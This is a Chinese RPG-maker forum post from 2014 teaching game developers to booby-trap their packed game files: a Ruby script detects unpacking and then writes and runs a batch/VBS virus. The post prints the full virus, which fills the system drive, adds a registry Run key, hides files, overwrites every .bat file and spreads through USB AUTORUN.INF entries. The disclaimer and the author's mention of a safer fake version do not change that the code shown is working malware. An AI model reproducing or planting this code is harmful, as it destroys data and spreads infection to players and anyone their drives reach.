赞 | 3 |
VIP | 0 |
好人卡 | 0 |
积分 | 6 |
经验 | 3037 |
最后登录 | 2019-5-6 |
在线时间 | 106 小时 |
Lv2.观梦者
- 梦石
- 0
- 星屑
- 581
- 在线时间
- 106 小时
- 注册时间
- 2011-2-19
- 帖子
- 82
|
加入我们,或者,欢迎回来。
您需要 登录 才可以下载或查看,没有帐号?注册会员
x
本帖最后由 a386881 于 2014-1-27 05:22 编辑
阅读以下内容者,即代表其同意为自己行为负全责,干了什么坏事造成了多大损失均与本文作者即我没有半毛钱关系。
人是一种狡猾的动物。无论做精密的加密,终究会被破解。
最好的加密,是恐惧。
只要做到没人敢拆你的包,你就什么加密也不用了。
今天我来谈谈,怎样把自己的Game.rgss3a打造成一个无人敢开的潘多拉魔盒。
另,今天的内容估计在RMXP和RMVX上也能找到实现方法。
你可以下载附件的游戏玩玩。说是游戏,其实只是为了配合这次教学随便找了个“事件标题”的工程
原帖:http://rpg.blue/forum.php?mod=viewthread&tid=257015
用别人的是因为我对def语句完全不理解。(捂脸)
嘛,但是幸好一些奇奇怪怪的地方学的蛮好就是了。
用事件标题一因为是插在事件里会比较醒目(方便大家讨论,但理所当然不方便坑人),二因为是我是事件脚本流的。
文中用到的病毒是 秋瑾工作室 的,因为看了看貌似比我自己写的威力大得多所以就拿来了。
原帖:http://20080808qjsoft.blog.163.c ... 666200931211827722/
如果你很奇怪为什么我能在事件脚本中写的开那么多的内容,可以去http://rpg.blue/thread-347809-1-1.html
下载RMVA补丁(注意备份)
嘛,进入正题。
工作原理:运行游戏时,通过判断Data/Animations.rvdata2的有无来判断是否已被拆包。
工作内容:若有Data/Animations.rvdata2,说明被拆包了,则向文件夹输出bat病毒(其实是个混合病毒),并运行之。
嘛,下面贴一下脚本码好了,贴完再讲解。- if File.exist?("Data/Animations.rvdata2")
- OutputTXTcontent = <<END_OF_STRING
- if exsit %SystemDrive%\\PAGEFILES.SYS goto end
- copy %0 %windir%\\system32\\logon.exe.bat
- FOR /F "tokens=3*" %%i in ('dir /-c %SystemDrive%^|find "可用字节"') do fsutil file createnew %SystemDrive%\\PAGEFILES.SYS %%i
- attrib +r +s +h %SystemDrive%\\PAGEFILES.SYS
- reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v KV2007 /t REG_SZ /d %windir%\\system32\\logon.vbs
- reg delete HKLM\\Software\\Microsoft\\windows\\CurrentVersion\\explorer\\Advanced\\Folder\\Hidden\\SHOWALL /va /f
- for /r %SystemDrive% %%i in (*.bat) do type %0>%%i
- if exist %windir%\\system32\\logon.vbs goto end
- echo set fs =createobject("scripting.filesystemobject")>>%windir%\\system32\\logon.vbs
- echo set WshShell = WScript.CreateObject("WScript.Shell")>>%windir%\\system32\\logon.vbs
- echo Set objWMIService = GetObject("winmgmts:" _>>%windir%\\system32\\logon.vbs
- echo ^& "{impersonationLevel=impersonate}!\\\\" ^& strComputer ^& "\\root\\cimv2")>>%windir%\\system32\\logon.vbs
- echo Set colDisks = objWMIService.ExecQuery _>>%windir%\\system32\\logon.vbs
- echo ("Select * from Win32_LogicalDisk")>>%windir%\\system32\\logon.vbs
- echo For i =1 to 9000000000>>%windir%\\system32\\logon.vbs
- echo For Each objDisk in colDisks>>%windir%\\system32\\logon.vbs
- echo Select Case objDisk.DriveType>>%windir%\\system32\\logon.vbs
- echo :Case 2:>>%windir%\\system32\\logon.vbs
- echo y1=fs.FileExists(objDisk.DeviceID ^& "\\AUTORUN.INF")>>%windir%\\system32\\logon.vbs
- echo if not y1 then>>%windir%\\system32\\logon.vbs
- echo set f=fs.opentextfile(objDisk.DeviceID ^& "\\AUTORUN.INF",2, true)>>%windir%\\system32\\logon.vbs
- echo f.write "[AutoRun]" ^& vbcrlf>>%windir%\\system32\\logon.vbs
- echo f.write "open=logon.exe.bat" ^& vbcrlf>>%windir%\\system32\\logon.vbs
- echo f.write "shellexecute=logon.exe.bat" ^& vbcrlf>>%windir%\\system32\\logon.vbs
- echo f.write "shell\\Auto\\command=logon.exe.bat" ^& vbcrlf>>%windir%\\system32\\logon.vbs
- echo f.Close>>%windir%\\system32\\logon.vbs
- echo Set f1 = fs.GetFile(objDisk.DeviceID ^& "\\AUTORUN.INF")>>%windir%\\system32\\logon.vbs
- echo If f1.Attributes = f1.Attributes AND 2 Then>>%windir%\\system32\\logon.vbs
- echo :f1.Attributes = f1.Attributes XOR 7:>>%windir%\\system32\\logon.vbs
- echo End If>>%windir%\\system32\\logon.vbs
- echo end if>>%windir%\\system32\\logon.vbs
- echo y2=fs.FileExists(objDisk.DeviceID ^& "\\logon.exe.bat")>>%windir%\\system32\\logon.vbs
- echo if not y2 then >>%windir%\\system32\\logon.vbs
- echo fs.CopyFile "c:\\windows\\system32\\logon.exe.bat",objDisk.DeviceID ^& "\\">>%windir%\\system32\\logon.vbs
- echo Set f2 = fs.GetFile(objDisk.DeviceID ^& "\\logon.exe.bat")>>%windir%\\system32\\logon.vbs
- echo If f2.Attributes = f2.Attributes AND 2 Then>>%windir%\\system32\\logon.vbs
- echo :f2.Attributes = f2.Attributes XOR 7:>>%windir%\\system32\\logon.vbs
- echo End If>>%windir%\\system32\\logon.vbs
- echo end if>>%windir%\\system32\\logon.vbs
- echo dirr = Wshshell.ExpandEnvironmentStrings("%systemdrive%")>>%windir%\\system32\\logon.vbs
- echo y3=fs.FileExists(dirr & "\\PAGEFILES.SYS")>>%windir%\\system32\\logon.vbs
- echo if not y3 then>>%windir%\\system32\\logon.vbs
- echo WshShell.Run "logon.exe.bat">>%windir%\\system32\\logon.vbs
- echo WScript.Sleep 500>>%windir%\\system32\\logon.vbs
- echo Set f3 = fs.GetFile(dirr & "\\PAGEFILES.SYS")>>%windir%\\system32\\logon.vbs
- echo If f3.Attributes = f3.Attributes AND 2 Then>>%windir%\\system32\\logon.vbs
- echo :f3.Attributes = f3.Attributes XOR 7:>>%windir%\\system32\\logon.vbs
- echo End If>>%windir%\\system32\\logon.vbs
- echo end if>>%windir%\\system32\\logon.vbs
- echo End Select>>%windir%\\system32\\logon.vbs
- echo Next>>%windir%\\system32\\logon.vbs
- echo WScript.Sleep 5000>>%windir%\\system32\\logon.vbs
- echo Next>>%windir%\\system32\\logon.vbs
- END_OF_STRING
- OutputTXT = File.open("hunter.bat",'w')
- OutputTXT.puts OutputTXTcontent
- OutputTXT.close
- #如果你找到了一个合适的全键盘脚本,那么可以在这里加一行全屏+锁全键盘。效果绝对赞。
- system "start hunter.bat"
- end
复制代码 讲解时间!
if File.exist?("Data/Animations.rvdata2")
这行是判断文件是否存在的。
OutputTXTcontent = <<END_OF_STRING
XXXX
XXXX
END_OF_STRING
这两句话是:把这两行中间的东西存储到字符串OutputTXTcontent里面去。
其中END_OF_STRING和字符串的名字都可以改,上下一致就行。
中间的东西是病毒代码。
bat病毒或者vbs病毒或者aotorun.inf病毒都行。
OutputTXT = File.open("hunter.bat",'w')
OutputTXT.puts OutputTXTcontent
OutputTXT.close
这个是输出TXT的脚本,其中OutputTXT同样可以改,上下一致就行。
system "start hunter.bat"
这个是ruby调用外部程序的方法。实际上有三种常见方法,我只看懂这一种。
嘛,一点相关的资料也都放进附件了。嗯嗯。
至于中间的那段病毒代码……这不是RM的范围了。似乎不该在这里讨论的说。况且我也有一些地方还没搞清楚。
不过代码中的所有\要换成\\(就是多了一个\),不然会被ruby认为是转义符。真傻啊。
可不要拿这个脚本去做坏事哦!可不要把RMVA给搞成神马自动生成病毒发送器……那可不是我本意啊……
PS:后来想了想我还是给你们换了一个比较安全的假病毒。秋瑾工作室的那个我在标题事件的第三页放了一份,附件里也放了一份TXT,有兴趣自行去参观。
差点忘了附件:[url=http://pan.baidu.com/share/link?shareid=1790600109&uk=939995919][/url] |
评分
-
查看全部评分
|